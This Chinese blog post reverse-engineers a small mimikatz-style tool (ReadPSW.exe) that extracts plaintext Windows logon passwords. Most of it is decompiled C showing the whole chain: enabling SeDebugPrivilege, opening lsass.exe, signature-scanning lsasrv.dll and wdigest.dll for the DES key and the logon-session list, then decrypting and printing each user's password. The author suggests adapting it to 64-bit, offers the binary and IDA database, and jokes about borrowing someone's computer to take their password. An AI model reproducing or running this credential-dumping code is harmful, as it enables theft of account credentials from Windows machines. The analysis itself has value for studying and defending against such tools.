对windows密码抓取神器mimikatz的逆向分析

　　mimikatz可谓获取windows明文密码神器，新版本更是加上了64位支持。用过一个小型获取明文密码程序，只有一个可执行文件ReadPSW.exe，通过逆向写出了源代码，稍微改改可能也可以支持64位。分享一下逆向过程和工作原理。

　　了解mimikatz

　　只要借用一下电脑，便可轻松拿到密码……“女神，借用电脑一看可否？”

　　大神们都知道的东西吧，渗透测试常用工具。法国一个牛B的人写的轻量级调试器，可以帮助安全测试人员抓取Windows密码。

　　mimikatz 最近发布了它的2.0版本，抓密码命令更加简单了，估计作者也看到了对它这个神器最多的研究就是直接抓密码，为神马不发布一个直接一键版，哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据，绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP) 的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多内容点我

　　逆向过程

　　我喜欢先用IDA看大致流程，遇到难以静态看出来的函数再用OD或者windbg。IDA F5 main函数，一段一段的看。

　　int __cdecl main_0()

　　{

　　int hdll； // eax@15

　　HMODULE ModuleSecur32； // eax@15

　　int LsaEnumerateLogonSessions； // eax@15

　　int LsaGetLogonSessionData； // eax@15

　　int LsaFreeReturnBuffer； // eax@15

　　int bcrypt； // eax@27

　　int hbcrypt； // eax@27

　　int bcryptprimitives； // eax@27

　　int hbcryptprimitives； // eax@27

　　int status7； // eax@27

　　const void *Base； // [sp+7Ch] [bp-2E0h]@25

　　SIZE_T nSize； // [sp+80h] [bp-2DCh]@25

　　int pLsaFreeReturnBuffer； // [sp+88h] [bp-2D4h]@15

　　int pLsaGetLogonSessionData； // [sp+8Ch] [bp-2D0h]@15

　　int pLsaEnumerateLogonSessions； // [sp+90h] [bp-2CCh]@15

　　HMODULE Secur32； // [sp+94h] [bp-2C8h]@15

　　LPCVOID l_LogSessList； // [sp+98h] [bp-2C4h]@15

　　int LsaUnprotectMemory； // [sp+9Ch] [bp-2C0h]@15

　　struct _OSVERSIONINFOA VersionInformation； // [sp+A8h] [bp-2B4h]@5

　　HANDLE Lsass； // [sp+13Ch] [bp-220h]@3

　　LPCVOID List[128]； // [sp+140h] [bp-21Ch]@18

　　LPCVOID *First； // [sp+340h] [bp-1Ch]@20

　　int LogonSessionNow； // [sp+344h] [bp-18h]@18

　　int ListEntry； // [sp+348h] [bp-14h]@15

　　SIZE_T NumberOfBytesRead； // [sp+34Ch] [bp-10h]@18

　　int hDllLsasrv； // [sp+358h] [bp-4h]@15

　　变量名大多是修改过的，通过分析子函数的功能做相应的改变，看起来方便一些。

　　memset(&tt， -858993460， 0x320u)；

　　if ( EnableDebugPrivilege() ！= 1 )

　　printf("EnableDebugPrivilege fail ！")；

　　首先提权，比较简单：

　　pToken = &TokenHandle；

　　dwAccess = TOKEN_ALL_ACCESS；

　　ProcessHandle = GetCurrentProcess()；

　　retProcessHandle = _chkesp(&dwAccess == &dwAccess， ProcessHandle， &dwAccess)；

　　status = OpenProcessToken(retProcessHandle， dwAccess， pToken)；

　　status1 = LookupPrivilegeValueA(0， "SeDebugPrivilege"， &Luid)；

　　NewState.PrivilegeCount = 1；

　　NewState.Privileges[0].Luid.LowPart = Luid.LowPart；

　　NewState.Privileges[0].Luid.HighPart = Luid.HighPart；

　　NewState.Privileges[0].Attributes = 2；

　　status2 = AdjustTokenPrivileges(TokenHandle， 0， &NewState， 0x10u， 0， 0)；

　　接着main函数流程：

　　Lsass = GetProcessHandle("lsass.exe")；

　　if ( Lsass )

　　{

　　offset_one = 0；

　　offset_two = -1；

　　memset(&VersionInformation， 0， 0x94u)；

　　VersionInformation.dwOSVersionInfoSize = 148；

　　status = GetVersionExA(&VersionInformation)；

　　_chkesp(&t == &t， status， &v48)；

　　if ( VersionInformation.dwMajorVersion == 5 )

　　{

　　if ( VersionInformation.dwMinorVersion == 1 )

　　{

　　offset_one = 36；

　　offset_two = 2；

　　}

　　else

　　{

　　if ( VersionInformation.dwMinorVersion == 2 )

　　{

　　offset_one = 28；

　　offset_two = 4；

　　}

　　}

　　}

　　else

　　{

　　if ( VersionInformation.dwMajorVersion == 6 )

　　{

　　offset_one = 32；

　　offset_two = 1；

　　}

　　}

　　if ( offset_two == -1 )

　　{

　　status12 = CloseHandle(Lsass)；

　　_chkesp(&t == &t， status12， &v48)；

　　returned = 0；

　　}

　　上面工作主要是：获取lsass.exe进程句柄、根据不同版本赋值两个偏移量。可以看出支持xp和2003，之后版本vista、win7等使用同一偏移量。

　　else

　　{

　　hdll = LoadLibraryA("lsasrv.dll")；

　　hDllLsasrv = _chkesp(&t == &t， hdll， &v48)；

　　LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv， 0x7FFFDDDDu， db_8b_ff， 14u)；

　　这个GetFunctionAddr是我重命名的，跟进去看一下实现就知道了：

　　int __cdecl GetFunctionAddr(int Module， unsigned int Limit， int Symbol， unsigned int Length)

　　{

　　return RealGetFunctionAddr(Module， Limit， Symbol， Length)；

　　}

　　是一个跳转，接着跟进：

　　int __cdecl RealGetFunctionAddr(int Module， unsigned int Limit， int Symbol， unsigned int Length)

　　{

　　while ( Length + Module <= Limit )

　　{

　　label = Symbol；

　　for ( i = 0； i < Length && *Module == *label； ++i )

　　{

　　++Module；

　　++label；

　　}

　　if ( i == Length )

　　break；

　　ModuleModule = Module – i + 1；

　　}

　　return result；

　　}

　　是用特征码查找函数地址的，想知道是什么函数最好用windbg跟一下，发现找到了lsasrv.dll的LsaUnprotectMemory 函数，这里我也对变量名进行了重命名。该函数用于解密LsaProtectMemory加密内存，这两个函数在LSA中用得非常多。

　　l_LogSessList = GetWdigestl_LogSessList()；

　　DesKey(Lsass， hDllLsasrv， offset_two)；

　　这两个函数挺关键，需要结合OD动态调试，先看第一个，中间有个类似上面的跳转，直接看实现函数：

　　unsigned int __cdecl RealGetFunction()

　　{

　　HMODULE hModule； // eax@1

　　unsigned int moduleBase； // [sp+4Ch] [bp-10h]@1

　　unsigned int returned； // [sp+50h] [bp-Ch]@1

　　int SpInstanceInit； // [sp+54h] [bp-8h]@1

　　HMODULE hLibModule； // [sp+58h] [bp-4h]@1

　　memset(&v6， -858993460， 0x50u)；

　　t1 = LoadLibraryA("wdigest.dll")；

　　hModule = _chkesp(&v5 == &v5， t1， &v11)；

　　hLibModule = hModule；

　　v2 = GetProcAddress(hModule， "SpInstanceInit")；

　　SpInstanceInit = _chkesp(&v5 == &v5， v2， &v11)；

　　moduleBase = hLibModule；

　　returned = 0；

　　while ( moduleBase < SpInstanceInit && moduleBase )

　　{

　　returned = moduleBase；

　　moduleBase = GetFunctionAddr(moduleBase + 8， SpInstanceInit， db_8b_45， 8u)；

　　}

　　returned = *(returned – 4)；

　　status = FreeLibrary(hLibModule)；

　　_chkesp(&v5 == &v5， status， &v11)；

　　return returned；

　　首先加载wdigest.dll模块，这里有详细的介绍。然后获取SpInstanceInit的地址，接着是一个查找函数的循环，根据特征码在SpInstanceInit地址低位查找某个地址，使用windbg可以看到要找的东西：

　　0：000> ln eax

　　(742ec29c) +0xc29c

　　这并不是一个函数，具体的作用现在还不知道。后面会用到。

　　看下面的函数，这个函数实际上是用来产生DES的密钥：

　　const void *__cdecl make_DESKey(HANDLE hProcessLsass， int hDllLsasrv， int offset)

　　{

　　int status； // eax@1

　　const void *dwResult； // eax@1

　　int Key； // eax@4

　　char buffer； // [sp+Ch] [bp-68h]@1

　　int OSVersion； // [sp+4Ch] [bp-28h]@1

　　unsigned int HeapReverse； // [sp+50h] [bp-24h]@1

　　const void *Buffer； // [sp+54h] [bp-20h]@4

　　LPCVOID g_pDESXKey； // [sp+58h] [bp-1Ch]@4

　　LPCVOID lpBuffer； // [sp+5Ch] [bp-18h]@1

　　SIZE_T NumberOfBytesRead； // [sp+60h] [bp-14h]@1

　　SIZE_T nSize； // [sp+64h] [bp-10h]@1

　　int pImageNtHeaders； // [sp+68h] [bp-Ch]@1

　　int hTmpDllLsasrv； // [sp+6Ch] [bp-8h]@1

　　int DataSECTION； // [sp+70h] [bp-4h]@1

　　int v27； // [sp+74h] [bp+0h]@1

　　memset(&buffer， -858993460， 0x68u)；

　　hTmpDllLsasrv = hDllLsasrv；

　　DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288；

　　lpBuffer = (hDllLsasrv + *(DataSECTION + 12))； // 获取lsasrv.dll的数据区

　　nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12； // 数据区大小

　　status = ReadProcessMemory(hProcessLsass， lpBuffer， lpBuffer， nSize， &NumberOfBytesRead)； //读取数据区内容

　　_chkesp(&v15 == &v15， status， &v27)；

　　pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60)；

　　HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80)；

　　dwResult = offset；

　　OSVersion = offset；

　　if ( offset == 1 )

　　{

　　v8 = LoadLibraryA("bcrypt.dll")；

　　_chkesp(&v15 == &v15， v8， &v27)；

　　v9 = LoadLibraryA("bcryptprimitives.dll")；

　　_chkesp(&v15 == &v15， v9， &v27)；

　　v10 = GetFunctionAddr(hDllLsasrv， HeapReverse， "3仪E鑌b"， 0xCu)； //根据特征码查找存放DES_KEY的地址

　　g_pDESXKey = v10；

　　g_pDESXKey = *(v10 – 1)；

　　v11 = ReadProcessMemory(hProcessLsass， g_pDESXKey， &Buffer， 4u， &NumberOfBytesRead)；

　　_chkesp(&v15 == &v15， v11， &v27)；

　　v12 = ReadProcessMemory(hProcessLsass， Buffer， &t_Key， 0x200u， &NumberOfBytesRead)； // 通过两次内存查找找到KEY

　　_chkesp(&v15 == &v15， v12， &v27)；

　　lpBuffer = g_pDESXKey；

　　*g_pDESXKey = &t_Key；

　　v13 = ReadProcessMemory(hProcessLsass， lpBaseAddress， &unk_42BFB8， 0x200u， &NumberOfBytesRead)；

　　_chkesp(&v15 == &v15， v13， &v27)；

　　lpBuffer = &lpBaseAddress；

　　lpBaseAddress = &unk_42BFB8；

　　v14 = ReadProcessMemory(hProcessLsass， dword_42AFC4， &unk_42ADB8， 0x200u， &NumberOfBytesRead)；

　　dwResult = _chkesp(&v15 == &v15， v14， &v27)；

　　dword_42AFC4 = &unk_42ADB8；

　　}

　　else

　　{

　　if ( OSVersion == 2 || OSVersion == 4 )

　　{

　　Key = GetFunctionAddr(hDllLsasrv， HeapReverse， Key_Symbol， 0xCu)；

　　g_pDESXKey = Key；

　　g_pDESXKey = *(Key + 12)；

　　v6 = ReadProcessMemory(hProcessLsass， g_pDESXKey， &Buffer， 4u， &NumberOfBytesRead)；

　　_chkesp(&v15 == &v15， v6， &v27)；

　　v7 = ReadProcessMemory(hProcessLsass， Buffer， &t_Key， 0x200u， &NumberOfBytesRead)；

　　_chkesp(&v15 == &v15， v7， &v27)；

　　dwResult = g_pDESXKey；

　　lpBuffer = g_pDESXKey；

　　*g_pDESXKey = &t_Key；

　　}

　　}

　　return dwResult；

　　}

　　根据最初得到的偏移，读取进程地址空间，获取DES的密钥。了解了这两个函数内容接着回归main函数：

　　status13 = LoadLibraryA("Secur32.dll")；

　　ModuleSecur32 = _chkesp(&t == &t， status13， &v48)；

　　Secur32 = ModuleSecur32；

　　LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32， "LsaEnumerateLogonSessions")；

　　pLsaEnumerateLogonSessions = _chkesp(&t == &t， LsaEnumerateLogonSessions， &v48)；

　　LsaGetLogonSessionData = GetProcAddress(Secur32， "LsaGetLogonSessionData")；

　　pLsaGetLogonSessionData = _chkesp(&t == &t， LsaGetLogonSessionData， &v48)；

　　LsaFreeReturnBuffer = GetProcAddress(Secur32， "LsaFreeReturnBuffer")；

　　pLsaFreeReturnBuffer = _chkesp(&t == &t， LsaFreeReturnBuffer， &v48)；

　　us1 = (pLsaEnumerateLogonSessions)(&count， &ListEntry)；

　　加载secur32.dll，然后获取几个函数的地址，枚举登陆会话和获取登陆会话数据。接着调用LsaEnumerateLogonSessions得到当前登录的会话个数以及所有会话组成的列表。MSDN上说明了这个函数，会返回会话的LUID。

　　_chkesp(&t == &t， status1， &v48)；

　　for ( i = 0； i < count； ++i )

　　{

　　LogonSessionNow = ListEntry + 8 * i；// 根据这里可以知道

　　output_name_session(pLsaGetLogonSessionData， pLsaFreeReturnBuffer， ListEntry + 8 * i)； // 这里输出登陆用户名

　　进入output_name_session看看：

　　int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD， _DWORD)， int (__stdcall *pLsaFreeReturnBuffer)(_DWORD)， int LogonSessionNow)

　　{

　　int status； // eax@1

　　int status1； // eax@1

　　char v6； // [sp+0h] [bp-50h]@1

　　char v7； // [sp+Ch] [bp-44h]@1

　　int LogonSessionData； // [sp+4Ch] [bp-4h]@1

　　int v9； // [sp+50h] [bp+0h]@1

　　memset(&v7， -858993460， 0x44u)；

　　status = pLsaGetLogonSessionData(LogonSessionNow， &LogonSessionData)；

　　_chkesp(&v6 == &v6， status， &v9)；

　　printf("UserName： %S "， *(LogonSessionData + 16))；

　　printf("LogonDomain： %S "， *(LogonSessionData + 24))；

　　status1 = pLsaFreeReturnBuffer(LogonSessionData)；

　　return _chkesp(&v6 == &v6， status1， &v9)；

　　}

　　这里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer，输出登陆名和域名。

　　status3 = ReadProcessMemory(Lsass， l_LogSessList， List， 0x100u， &NumberOfBytesRead)； // 这里读取之前获取的那个不明地址内容到List

　　_chkesp(&t == &t， status3， &v48)；

　　while ( List[0] ！= l_LogSessList )

　　{

　　status4 = ReadProcessMemory(Lsass， List[0]， List， 0x100u， &NumberOfBytesRead)；

　　_chkesp(&t == &t， status4， &v48)；

　　First = &List[4]；

　　if ( List[4] == *LogonSessionNow )

　　{

　　if ( First[1] == *(LogonSessionNow + 4) ) // 这个First[1]看着太别扭了，实际上就是比较List[4]和枚举到的会话LUID值

　　break；// 这里可以知道之前那个不明地址<Unloaded_wdigest.dll>+0xc29c是个列表

　　}

　　}

　　if ( List[0] == l_LogSessList )

　　{

　　printf("Specific LUID NOT found ")；

　　}

　　else

　　{

　　nSize = 0；

　　v28 = (offset_one + First)；

　　nSize = *(offset_one + First + 2)；

　　Base = *(offset_one + First + 4)； // 还是使用了First，不要忘记First是从当时那个不明地址处读取的值

　　memset(Buffer2， 0， 0x100u)；

　　status2 = ReadProcessMemory(Lsass， Base， Buffer2， nSize， &NumberOfBytesRead)；

　　_chkesp(&t == &t， status2， &v47)；// 这里读到加密之后的密码。整个流程就清楚了，使用LsaEnumerateSessions获取LUIDs，与之前通过特征码找到的l_LogSessList结合找出密码。l_LogSessList保存了密码的长度和存放地址以及会话LUID，是个重要的未公开结构体。

　　status5 = (LsaUnprotectMemory)(Buffer2， nSize)；

　　_chkesp(&t == &t， status5， &v47)；

　　printf("password： %S "， Buffer2)；

　　}

　　后面是一些释放dll和内存的工作，不再赘述。程序和IDA数据库右键图片可以得到。